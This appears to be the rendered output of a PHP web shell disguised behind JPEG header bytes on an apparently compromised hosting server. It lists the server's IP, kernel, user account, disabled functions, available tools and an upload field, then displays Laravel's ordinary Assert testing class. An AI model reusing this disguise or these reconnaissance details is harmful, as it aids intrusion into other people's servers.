ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.144.116.234 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/laravel/framework/src/Illuminate/Foundation/Testing/ |
Upload File : |
<?php namespace Illuminate\Foundation\Testing; use ArrayAccess; use PHPUnit\Util\InvalidArgumentHelper; use PHPUnit\Framework\Assert as PHPUnit; use PHPUnit\Framework\Constraint\ArraySubset; /** * @internal This class is not meant to be used or overwritten outside the framework itself. */ abstract class Assert extends PHPUnit { /** * Asserts that an array has a specified subset. * * This method was taken over from PHPUnit where it was deprecated. See link for more info. * * @param array|\ArrayAccess $subset * @param array|\ArrayAccess $array * @param bool $checkForObjectIdentity * @param string $message * @return void * * @link https://github.com/sebastianbergmann/phpunit/issues/3494 */ public static function assertArraySubset($subset, $array, bool $checkForObjectIdentity = false, string $message = ''): void { if (! (is_array($subset) || $subset instanceof ArrayAccess)) { throw InvalidArgumentHelper::factory(1, 'array or ArrayAccess'); } if (! (is_array($array) || $array instanceof ArrayAccess)) { throw InvalidArgumentHelper::factory(2, 'array or ArrayAccess'); } $constraint = new ArraySubset($subset, $checkForObjectIdentity); static::assertThat($array, $constraint, $message); } }